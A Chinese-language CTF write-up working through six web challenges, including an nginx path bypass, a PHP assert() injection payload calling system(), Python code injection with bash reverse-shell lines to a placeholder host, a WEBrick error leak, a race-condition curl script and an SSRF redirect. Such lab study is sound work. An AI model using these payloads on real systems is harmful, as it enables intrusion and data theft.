0x00 前言

CTF,我认为经验与思维同样重要。但是,我的重心会放在思维与推理上面。安全一途,博大精深,只有善于思考和推理,才能走得更远!

0x01 readme

有附件,先搭建题目环境。

题目附件肯定要仔细查看的,发现flag的环境变量:

FLAG变量

Dockerfile文件

1
ENV FLAG="ictf{path_normalization_to_the_rescue}"

docker-compose.yml文件

1
2
environment:
- FLAG=flag{test_flag}

两个文件的关系:

  • Dockerfile
    • 环境变量在镜像构建过程中可用,并且在基于该镜像启动的所有容器中可用。
  • docker-compose.yml
    • 环境变量仅在通过 Docker Compose 启动的容器中可用,且可以在不同的服务中定义不同的值。

覆盖机制:

如果在 Dockerfile 中定义了 ENV FLAG,而在 docker-compose.yml 中又定义了相同的环境变量 FLAG,则在运行容器时,docker-compose.yml 中的值会覆盖 Dockerfile 中的值。

再观察start.sh文件

1
2
3
4
\#!/bin/sh
echo "${FLAG:-not_flag}" > /app/public/flag.txt
nginx &
node src/app.js

这就会在容器的对应目录下创建flag.txt,如果只是看附件源码时找不到flag.txt,只能去容器里面查看。

限制访问

可以直接访问flag.txt吗?看看default.conf文件:

1
2
3
4
location / {
if (-f $request_filename) {
return 404;
}

这段配置的逻辑是:如果请求的静态文件存在,则返回 404 错误。这通常用于防止直接访问某些静态文件,或者用于特定的安全策略。

显然,我们不能直接访问flag.txt文件。但是就本题而言,如果要得到flag.txt文件,我们只能通过路径访问。显然,我们得绕过这个限制。

我们可以通过对路径的一些处理,来绕过这个限制。(原理之后会深究)

下面采用爆破

fuzz爆破

思路:使用bp,对路径末尾添加payload,以绕过nginx对直接访问静态文件的限制。

字典选择:SecLists-master\Fuzzing\Unicode.txt

结果:

如果用curl表示:

1
2
root@pax:~# curl --path-as-is http://localhost:8000/flag.txt/.
flag{test_flag}

如果把参数--path-as-is去掉会导致访问失败(浏览器同理),因为出于某些机制(尚未搞清)会把最后那个点去掉,导致实际访问的URL是:

1
http://localhost:8000/flag.txt/

但是可以通过编码/%2F来绕过,点号编码不编码都可以。

最后还有一个问题:为什么URL最后必须添加/.或者/./.(可以一直延续)才能正确访问?这应该涉及到nginx解析URL的原理了。

问题与心得

问题

  • 把url化成最简形式的机制是什么?
  • 为什么本题URL必须添加/.或者/./.才能成功访问?

写题思路

  1. 首先,需要分析flag在哪里,这是很重要的一个出发点。
  2. 得知flag在flag.txt里,思考怎么访问flag.txt,需要查看nginx的URL解析规则。
  3. 解析规则不允许直接访问,尝试绕过,本次学习到可以通过fuzz来爆破出可行的URL。

不足之处

  • 对Docker的镜像架构理解尚浅,这在一定程度上影响了分析。

0x02 joural

flag在哪

给了附件,看看dockerfile文件:

1
2
3
COPY flag.txt /flag.txt
COPY files /var/www/html/files/
RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

flag.txt在网页根目录下。

再看看题目简介,简介说本题没有LFI,这会不会是”此地无银三百两“呢?看看源码就知道了。

源码逻辑

核心源码:index.php

先看明白源码的流程,发现有两个函数不认识:

**assert()**:接受字符串作为参数,参数被当作PHP代码执行。如果参数表达式为false,或者参数表达式运行时抛出异常,则assert()返回false

**strpos()**:返回参数2在参数1中首次出现的数字位置。如果只有一个参数,会弹出warning,但是不会停止程序运行。

那么逻辑很清晰了。接受GET参数file,判断后文件包含。

从哪里入手呢?

两种思路

最开始想过目录穿越。但是参数传到后端会解码一次,该过滤还是会被过滤。

看到assert()函数,其参数会被当做PHP代码执行,为什么不能通过操控$file实现PHP代码注入呢?

想到代码注入的原因:如果字符串被当做代码执行,可控变量又可以插入到字符串中,那么就可以控制变量进而控制程序。

代码工作的地方在assert()参数内,最好使assert()返回true(这并不难)。我们的目标是逃离strpos()函数,用system()函数getshell

结合上面所学,构造paylaod

1
file=aaa') or system('tac /flag-8w3yLv5F9tZdMcBG3IDM.txt');//

工作语句:

1
2
3
4
5
6
7
8
<?php
assert("strpos('aaa') or system('ls');//', '.') === false") or die("Invalid file!");
//简化
assert("strpos('aaa') or system('ls');") or die("Invalid file!");
//简化
strpos('aaa') or system('ls');
//简化
system('ls');

getshell就够了,就不写如何getflag了。

做题心得

思路

先确定flag在哪里,再看看代码逻辑。对代码逻辑进行分析,大胆猜想小心求证,最后成功getshell

不足之处

对一些函数了解较少,这是可以查阅的。但是必须对函数的功能要敏感,这是查阅不到的,必须努力培养。

0x03 p2c

定位flag

flag在项目的根目录下,这也决定了本题应该要getshell

寻找漏洞

关注这个函数:

code就是POST参数,直接从表单里输入即可。

输入的内容会写在main()里面,main()被当作参数的时候就会被执行,所以我们只需要关注怎么构造payload即可。

反弹shell

注入语句并不会回显,可以采用反弹shell,这里先curl一下看看代码是否有误

curl失败了,直接试试反弹shell

1
2
import os
os.system('bash -i &> /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1')

监听段没有丝毫反映。猜想是不是服务端没有使用bash,于是先构造bash再执行反弹:

1
2
import os
os.system("bash -c 'bash -i &> /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'")

或者

1
2
3
import os
cmd = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
process = os.popen(cmd)

成功反弹shell

盲注 · 伪随机

彩虹表是另外一种做法,本质上是利用伪随机的思想。

原理是随机构造rgb的代码可知,在本地构建彩虹表。

利用flag不同字符产生的rgb不同,一一对照彩虹表,可以得到逐步得到完整的flag——这何尝不是一种盲注呢?

问题与心得

问题

  • 为什么curl不成功,是什么导致的?

    • 答:/bin/usr/bin都没有curl这个可执行文件,也就是没有curl这个指令。
  • 为什么会想到bash环境?

    • 当做经验记住吧。

心得

  • 写题前把有关文件都看一遍,不能偷懒。

0x04 crystals

推荐题解:crystals | siunam’s Website (siunam321.github.io)

寻找flag

项目里没有flag相关文件,在docker-compose.yml文件有:

这里我找了好久$FLAG,其实没有必要。这段代码的意思是自己写一个flag放上去,那我就直接写flag

这段过程可能没有必要拿来谈,有些人一看就明白了。但是介于我在这里耗了很久,必须记一下。

综上所述:flag在主机名里。

得到主机名

现在的思路就是如何得到主机名。

最开始我想通过getshell然后查看系统的相关文件文件得到主机名,但是index.rb全是静态内容,没有输入点。

无奈之下只能看题解。下面的内容是我希望自己能推理出的:

就利用输入而言,如果不同的输入能得到不同的输出,那么我们就有很多方法。

但是如果没有输入点,或者说没有常规的输入点,这些方法就陷入了死区。

但这并不意味着没有办法,好比SQL注入的报错注入,输对了没反应,但是输错了反而会得到信息。

所以,不妨找找这里是否有报错回显信息的漏洞。

nginx接受HTTP请求并将请求转发给后端应用服务器(我们不知道服务器是什么,但是肯定跟sinatra框架有关),所以将报错和sinatra结合起来,我们或许可以找到破解之道。

但是我没搜到相关的内容,只能借鉴大佬的题解:

Sinatra 默认使用 RubyWEBrick 服务器来处理请求。当请求出错时,WEBrick 会生成一个错误页面,并在 <ADDRESS> 标签中包含服务器的信息——主机名就在其中。

那么直接fuzzpayloadGET参数:

得到flag

思考 · 进阶

哪怕想破脑袋,也想不出破局之道。这是常有的事情,但不应该是被轻视的问题。

安全一途,经验固然重要,但是思维和推理也不能轻视。

当我知道本题没有输入点的时候,我应该换一种想法,或者说退一步想:

  • 有输入点的时候,这是一个多元的操作,通过不同的操作得到不同的结果。

  • 没有输入点的时候,要么操作正常,要么操作错误,是一个二元的操作。既然操作正常的情况下毫无所得,为什么不想想操作错误的情况下是否会披露信息呢?思路是不是又拓宽了呢?

有输入,试输入;无输入,试错误。方法肯定不止这么点,领悟到精髓即可。

0x05 the_amazing_race

黑盒?

本题没有附件,但是有给核心源码。源码说的很清楚,迷宫通关才能得到flag。那就只能看源码了。

第一次尝试 · SSTI

我的思维太局限了,总是想基础漏洞。所以当我看到下面这段代码,就想尝试SSTI

但是如果输入的mazeId不是正确的,系统会报错。

第二次尝试 · 线程竞争

讲讲思路:

为什么SSTI不行?因为题目不允许任意构造mazeId。那么竟然没有基础漏洞,我为什么不能从题目的逻辑入手,这正是CTF的两种漏洞类型:

  • 系统漏洞
  • 逻辑漏洞

那从游戏本身入手:

​ 我们要拿到flag,就必须到达flag的位置。要到达flag的位置,仅仅靠正常玩游戏是不可能的。

​ 如果能耍赖就好了!耍赖?怎么耍赖?穿墙!

​ 没错,如果可以穿墙,那我就可以很快拿到flag!

​ 穿墙的原理是什么,看看下面的代码:

一言以蔽之:如果能线程竞争,在允许我走一步的情况下不断发出指令,我就可以走好几步。原理如下:

竞态条件(Race Conditions)

  • 当程序的输出或行为依赖于无法控制的事件(如多个线程的并发执行)时,就会发生竞态条件。
  • 在这个代码中,如果多个请求同时访问 /move 端点,就可能发生竞态条件。因为SQLite用来存储迷宫状态,所以并发的读取和写入可能导致状态不一致,例如两个线程都认为它们对某个单元格有独占访问权并同时进行写入。

缺乏同步(Synchronization)

  • 代码中没有包括任何锁机制来防止并发访问数据库或共享资源。没有正确的同步,可能会出现一个请求读取迷宫状态时,另一个请求正在修改状态的情况,从而导致潜在的不一致

这其实不算是严格的逻辑漏洞,也是一种系统漏洞。如果数据库不能实现立即更新玩家位置信息,就会产生线程竞争。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3

from subprocess import Popen
from time import sleep

mazeId = "2c49d90b-4cb5-47b4-be88-e0ba34042295"
# Can tunnel through walls in specified direction if there's at least
# one empty space before the wall
#
# Run, readjust position/direction as desired, repeat until flag
url = f"http://localhost:6563/move?id={mazeId}&move=right"

for i in range(500):
Popen(["curl", "-X", "POST", url])
sleep(.00)

思考 · 进阶

CTF比赛里,单独考基础漏洞不会多,逻辑漏洞和其他漏洞同样有很多。所以我们的思路不应该直接想基础漏洞,而是应该根据代码逻辑来决定下一步。当我们没思路时,不妨先找找输入点,看看这些参数的生命周期。当没有输入点或者输入点不可控时,就要转换思路。会不会是报错披露?会不会是fuzz

所以我们的思想很简单:

  • 先把代码认真看完,再根据代码进行分析,我们的思维不要局限于漏洞,不要局限于漏洞,不要局限于漏洞!

漏洞、逻辑、常规服务······这些都可以被我们利用。

安全一途,切忌局限思维。多想,多分析,多试,多总结。

0x06 readme2

分析

核心源码:

4000端口是开放的,3000只在内网开放。但是flag.txt在3000端口,我们该怎么得到flag呢?

再看看4000端口的服务:把一切和flag有关的都403。我在这方面尝试了一会,无果。

但是4000端口的服务有一个非常重要的函数:

1
new URL(url.pathname + url.search, 'http://localhost:3000/')

利用点在这里:

那么现在有了一个突破点:url.pathname,怎么调控和利用该点呢?

调控

修改一下代码, 让url.pathname可以被写入日志:

docker日志就会显示pathname

前面有两条斜杠没问题,格式如此。以上我们实现了重定向,接下来重定向到3000端口即可。

利用

基于上面的尝试,我们写出重定向脚本:

1
2
3
4
<?php
header('Location: http://localhost:3000/flag.txt');
exit();
?>

具体请求:

问题:3000端口只允许内网,为什么重定向可以成功访问3000端口?

回答:

重定向通常不会改变发送者的IP地址。重定向是指将请求从一个URL转到另一个URL,发送者的IP地址在这个过程中保持不变。不过,如果重定向涉及到跨不同的代理或网络,可能会有不同的IP地址被记录,但在客户端到服务器的直接连接中,发送者的IP保持不变。

小结

思路

4000端口严格限制flag字符,虽然3000端口没有做过滤,可是3000端口只能通过内网访问。

没思路了?想想内网访问的本质:

内网访问的本质是发送者的IP地址必须属于内网范围。对于本题而言,只有当我们的IPlocalhost:4000时才能访问3000端口。

我们既希望IP不变,又希望先拿一个URL骗过检测,最后希望目标URL转变成访问flag.txt,重定向可以解决这三个问题:

  • 重定向不改变发送者的IP,保证了数据传输在内网中。
  • 重定向改变了目标URL,可以绕过限制,间接访问flag.txt

进阶

我还学会了通过修改本地的题目源码,在docker的日志上调试信息。

这个方法其实也简单,加上几行JavaScript的日志写入函数,重启一下容器即可。

但是这个方法对于分析题目极为有用,一定要善于使用

0x07 结语

经验与思维缺一不可!这两个方面都要重点培养。如果你有耐心看到这里,你不难明白我认知的转变,我相信你也会从之受益。

多打CTF,多思考,多积累,多坚持!